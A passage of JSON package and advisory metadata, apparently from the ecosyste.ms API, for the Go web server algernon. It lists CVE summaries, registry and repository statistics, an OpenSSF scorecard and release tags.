filename.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-12-10T18:30:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-65754","https://gist.github.com/Bnyt7/0faa90ff93c5d98093a0e29a1eb34d81","https://github.com/Bnyt7/CVE-2025-65754","https://github.com/xyproto/algernon","https://github.com/xyproto/algernon/commit/cd8832014a624a9aeab60566434c3344135e23f8","https://github.com/advisories/GHSA-8jqm-8qm3-qgqm"],"source_kind":"github","identifiers":["GHSA-8jqm-8qm3-qgqm","CVE-2025-65754"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-10T21:00:08.098Z","updated_at":"2026-05-30T19:02:28.146Z","epss_percentage":0.00011,"epss_percentile":0.01366,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04anFtLThxbTMtcWdxbc4ABPgr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04anFtLThxbTMtcWdxbc4ABPgr","packages":[{"ecosystem":"go","package_name":"github.com/xyproto/algernon","versions":[{"first_patched_version":"1.17.5","vulnerable_version_range":"\u003c 1.17.5"}],"purl":"pkg:go/github.com%2Fxyproto%2Falgernon"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04anFtLThxbTMtcWdxbc4ABPgr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNDdoLWZnY3ctZzRwaM4AAzi1","url":"https://github.com/advisories/GHSA-g47h-fgcw-g4ph","title":"Algernon engine and themes vulnerable to Cross-site Scripting","description":"All versions of the package github.com/xyproto/algernon/engine; all versions of the package github.com/xyproto/algernon/themes are vulnerable to Cross-site Scripting (XSS) via the `themes.NoPage(filename, theme)` function due to improper user input sanitization. Exploiting this vulnerability is possible when a file/resource is not found.\n\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-05-31T06:30:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-26131","https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMXYPROTOALGERNONENGINE-3312111","https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMXYPROTOALGERNONTHEMES-3312112","https://github.com/xyproto/algernon/blob/aab484608651852d02a8a93f40baf53ed93e639a/engine/handlers.go#L512","https://github.com/xyproto/algernon/blob/aab484608651852d02a8a93f40baf53ed93e639a/engine/handlers.go#L514","https://github.com/xyproto/algernon/blob/aab484608651852d02a8a93f40baf53ed93e639a/themes/html.go#L145","https://github.com/advisories/GHSA-g47h-fgcw-g4ph"],"source_kind":"github","identifiers":["GHSA-g47h-fgcw-g4ph","CVE-2023-26131"],"repository_url":"https://github.com/xyproto/algernon","blast_radius":1.0,"created_at":"2023-06-06T02:03:22.074Z","updated_at":"2026-06-01T05:07:57.464Z","epss_percentage":0.00254,"epss_percentile":0.48638,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNDdoLWZnY3ctZzRwaM4AAzi1","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNDdoLWZnY3ctZzRwaM4AAzi1","packages":[{"ecosystem":"go","package_name":"github.com/xyproto/algernon","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.15.2"}],"purl":"pkg:go/github.com%2Fxyproto%2Falgernon"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNDdoLWZnY3ctZzRwaM4AAzi1/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/xyproto/algernon","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/xyproto/algernon","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/xyproto/algernon/dependencies","status":null,"funding_links":["https://github.com/sponsors/xyproto"],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-27T19:00:48.522Z","issues_count":85,"pull_requests_count":49,"avg_time_to_close_issue":15791933.61818182,"avg_time_to_close_pull_request":291132.4680851064,"issues_closed_count":55,"pull_requests_closed_count":47,"pull_request_authors_count":16,"issue_authors_count":38,"avg_comments_per_issue":3.7058823529411766,"avg_comments_per_pull_request":1.1428571428571428,"merged_pull_requests_count":34,"bot_issues_count":0,"bot_pull_requests_count":17,"past_year_issues_count":9,"past_year_pull_requests_count":4,"past_year_avg_time_to_close_issue":597275.25,"past_year_avg_time_to_close_pull_request":41228.5,"past_year_issues_closed_count":4,"past_year_pull_requests_closed_count":2,"past_year_pull_request_authors_count":1,"past_year_issue_authors_count":7,"past_year_avg_comments_per_issue":1.222222222222222,"past_year_avg_comments_per_pull_request":0.5,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":4,"past_year_merged_pull_requests_count":0,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/issues","maintainers":[{"login":"tooolbox","count":25,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tooolbox"},{"login":"xyproto","count":11,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/xyproto"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fxyproto%2Falgernon/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fxyproto%2Falgernon/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fxyproto%2Falgernon/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fxyproto%2Falgernon/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fxyproto%2Falgernon/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fxyproto%2Falgernon/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2153822,"maintainers_count":0,"namespaces_count":791356,"keywords_count":113139,"github":"golang","metadata":{"funded_packages_count":53897},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-06-01T05:12:27.241Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":4140697,"name":"algernon","ecosystem":"homebrew","description":"Pure Go web server with Lua, Markdown, HTTP/2 and template support","homepage":"https://github.com/xyproto/algernon","licenses":"BSD-3-Clause","normalized_licenses":["BSD-3-Clause"],"repository_url":"https://github.com/xyproto/algernon","keywords_array":[],"namespace":null,"versions_count":18,"first_release_published_at":"2022-04-12T16:39:55.998Z","latest_release_published_at":"2026-05-31T08:16:30.358Z","latest_release_number":"1.17.9","last_synced_at":"2026-05-31T08:16:34.239Z","created_at":"2022-04-12T16:39:55.986Z","updated_at":"2026-05-31T13:54:05.894Z","registry_url":"https://formulae.brew.sh/formula/algernon","install_command":"brew install algernon","documentation_url":null,"metadata":{},"repo_metadata":{"id":28438523,"uuid":"31953662","full_name":"xyproto/algernon","owner":"xyproto","description":"Small self-contained pure-Go web server with Lua, Teal, Markdown, Ollama, HTTP/2, QUIC, Redis, SQLite and PostgreSQL support ++","archived":false,"fork":false,"pushed_at":"2026-04-01T14:22:15.000Z","size":73929,"stargazers_count":2997,"open_issues_count":29,"forks_count":146,"subscribers_count":49,"default_branch":"main","last_synced_at":"2026-04-08T06:03:26.988Z","etag":null,"topics":["algernon","buildless","cross-platform","fasthttp","go","http2","http3","live-reload","llm","lua","mysql","ollama","pongo2","postgresql","quic","redis","server-sent-events","sqlite","tls13"],"latest_commit_sha":null,"homepage":"https://algernon.roboticoverlords.org","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/xyproto.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"Security.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["xyproto"],"patreon":null,"open_collective":null,"ko_fi":null,"tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"otechie":null,"custom":null}},"created_at":"2015-03-10T11:25:30.000Z","updated_at":"2026-04-02T08:32:23.000Z","dependencies_parsed_at":"2026-01-26T15:15:46.491Z","dependency_job_id":null,"html_url":"https://github.com/xyproto/algernon","commit_stats":{"total_commits":2373,"total_committers":19,"mean_commits":"124.89473684210526","dds":0.03750526759376316,"last_synced_commit":"f9858be3daf697ecf92e18c9b917db13b1391ac4"},"previous_names":["xyproto/luawebserver"],"tags_count":117,"template":false,"template_full_name":null,"purl":"pkg:github/xyproto/algernon","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/xyproto","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/sbom","scorecard":{"id":1236479,"data":{"date":"2025-07-28","repo":{"name":"github.com/xyproto/algernon","commit":"e72d639776cb1dbb9414bf480b5fcabe34d8de6e"},"scorecard":{"version":"v5.2.1-26-g4feedb85","commit":"4feedb857ab8d82158aa9774bf8054df41992180"},"score":4.3,"checks":[{"name":"Maintained","score":9,"reason":"11 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 0/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: jobLevel 'security-events' permission set to 'write': .github/workflows/differential-shellcheck.yml:17","Warn: no topLevel permission defined: .github/workflows/build.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/differential-shellcheck.yml:10","Warn: no topLevel permission defined: .github/workflows/homebrew.yml:1"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#token-permissions"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":2,"reason":"badge detected: InProgress","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: BSD 3-Clause \"New\" or \"Revised\" License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#fuzzing"}},{"name":"SAST","score":0,"reason":"no SAST tool detected","details":["Warn: no pull requests merged into dev branch"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v1.17.3 not signed: https://api.github.com/repos/xyproto/algernon/releases/202518718","Warn: release artifact v1.17.2 not signed: https://api.github.com/repos/xyproto/algernon/releases/195629302","Warn: release artifact v1.17.1 not signed: https://api.github.com/repos/xyproto/algernon/releases/165299190","Warn: release artifact v1.17.0 not signed: https://api.github.com/repos/xyproto/algernon/releases/162566681","Warn: release artifact v1.16.0 not signed: https://api.github.com/repos/xyproto/algernon/releases/143203183","Warn: release artifact v1.17.3 does not have provenance: https://api.github.com/repos/xyproto/algernon/releases/202518718","Warn: release artifact v1.17.2 does not have provenance: https://api.github.com/repos/xyproto/algernon/releases/195629302","Warn: release artifact v1.17.1 does not have provenance: https://api.github.com/repos/xyproto/algernon/releases/165299190","Warn: release artifact v1.17.0 does not have provenance: https://api.github.com/repos/xyproto/algernon/releases/162566681","Warn: release artifact v1.16.0 does not have provenance: https://api.github.com/repos/xyproto/algernon/releases/143203183"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#binary-artifacts"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#vulnerabilities"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/build.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/differential-shellcheck.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/differential-shellcheck.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/differential-shellcheck.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/differential-shellcheck.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/homebrew.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/xyproto/algernon/homebrew.yml/main?enable=pin","Warn: containerImage not pinned by hash: docker/dev/Dockerfile:2","Warn: containerImage not pinned by hash: docker/interactive/Dockerfile:2","Warn: containerImage not pinned by hash: docker/lua/Dockerfile:2","Warn: containerImage not pinned by hash: docker/prod/Dockerfile:2","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   4 containerImage dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/4feedb857ab8d82158aa9774bf8054df41992180/docs/checks.md#pinned-dependencies"}}]},"last_synced_at":"2025-08-29T15:46:01.908Z","repository_id":28438523,"created_at":"2025-08-29T15:46:01.909Z","updated_at":"2025-08-29T15:46:01.909Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31549986,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-07T16:28:08.000Z","status":"online","status_checked_at":"2026-04-08T02:00:06.127Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"xyproto","name":"Alexander F. Rødseth","uuid":"52813","kind":"user","description":"Software Developer, Arch Linux package maintainer, Go/Python/C++/C developer and open source enthusiast. I enjoy playing the game of Go as well.","email":"","website":"https://arodseth.com/","location":"Oslo","twitter":"xyproto","company":null,"icon_url":"https://avatars.githubusercontent.com/u/52813?v=4","repositories_count":537,"last_synced_at":"2024-05-01T10:29:56.326Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/xyproto","funding_links":["https://github.com/sponsors/xyproto"],"total_stars":6693,"followers":497,"following":301,"created_at":"2022-11-02T19:34:39.845Z","updated_at":"2024-05-01T10:31:30.942Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/xyproto","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/xyproto/repositories"},"tags":[{"name":"v1.17.5","sha":"27fe40d7d846230ce8ab94a4ed73f9197049998b","kind":"commit","published_at":"2025-11-13T15:41:57.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.17.5","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.17.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.17.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.5/manifests"},{"name":"v1.17.4","sha":"df2545cd3ccca90e626c42604ec3f60ce1df0062","kind":"commit","published_at":"2025-08-07T19:51:37.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.17.4","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.17.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.17.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.4/manifests"},{"name":"v1.17.3","sha":"6ff7ad946bb6af1dfea5cd8867a7a337d277c34c","kind":"commit","published_at":"2025-02-26T11:08:11.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.17.3","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.3/manifests"},{"name":"v1.17.2","sha":"d1a906aeb7ad93ff41a38870581b62f611744ec5","kind":"commit","published_at":"2025-01-20T11:41:46.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.17.2","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.2/manifests"},{"name":"v1.17.1","sha":"131aa2dbd8900dfe022576113572279ea31e9232","kind":"commit","published_at":"2024-07-13T12:51:47.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.17.1","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.1/manifests"},{"name":"v1.17.0","sha":"e10e38c0d4f27af4e4bd37ebdaaa8da3c8d170b4","kind":"commit","published_at":"2024-06-26T15:12:24.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.17.0","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.17.0/manifests"},{"name":"v1.16.0","sha":"41cc40983b7fd3ee1a54c09e16f4b7ab8144c32f","kind":"commit","published_at":"2024-02-22T15:03:49.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.16.0","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.16.0/manifests"},{"name":"v1.15.5","sha":"bb6ed669e1330bc6ca9271c5a1129b9a1c052366","kind":"commit","published_at":"2023-12-06T09:07:24.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.15.5","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.15.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.15.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.5/manifests"},{"name":"v1.15.4","sha":"7995f1328407604ca5f2837e63ec3970113c02b0","kind":"commit","published_at":"2023-10-16T14:32:51.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.15.4","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.4/manifests"},{"name":"v1.15.3","sha":"069528a487a68408543f8d79a28e237951324e2c","kind":"commit","published_at":"2023-08-10T06:48:34.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.15.3","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.3/manifests"},{"name":"v1.15.2","sha":"e234ca59e5497aaf1620e091c36e029bbba99feb","kind":"commit","published_at":"2023-06-03T12:37:01.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.15.2","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.2/manifests"},{"name":"v1.15.1","sha":"a759b348260c3bdc9108d73847d7d03b8f6ca2d5","kind":"commit","published_at":"2023-05-17T23:24:54.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.15.1","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.1/manifests"},{"name":"v1.15.0","sha":"111b241b0b846913d4baed026d6608917656546f","kind":"commit","published_at":"2023-05-17T17:10:36.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.15.0","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.0/manifests"},{"name":"v1.14.0","sha":"195ea285e297f0a3951598ebf878f1223c9fbf2d","kind":"commit","published_at":"2022-08-04T17:16:22.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.14.0","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.14.0/manifests"},{"name":"v1.13.0","sha":"9181256438b9a738127b9ac202ae03c2d8b50939","kind":"commit","published_at":"2022-05-09T22:10:30.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.13.0","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.13.0/manifests"},{"name":"1.12.14","sha":"1042f3e58174e756223df6171a04b5f15a4f37b9","kind":"commit","published_at":"2021-08-23T13:06:14.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.14","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/re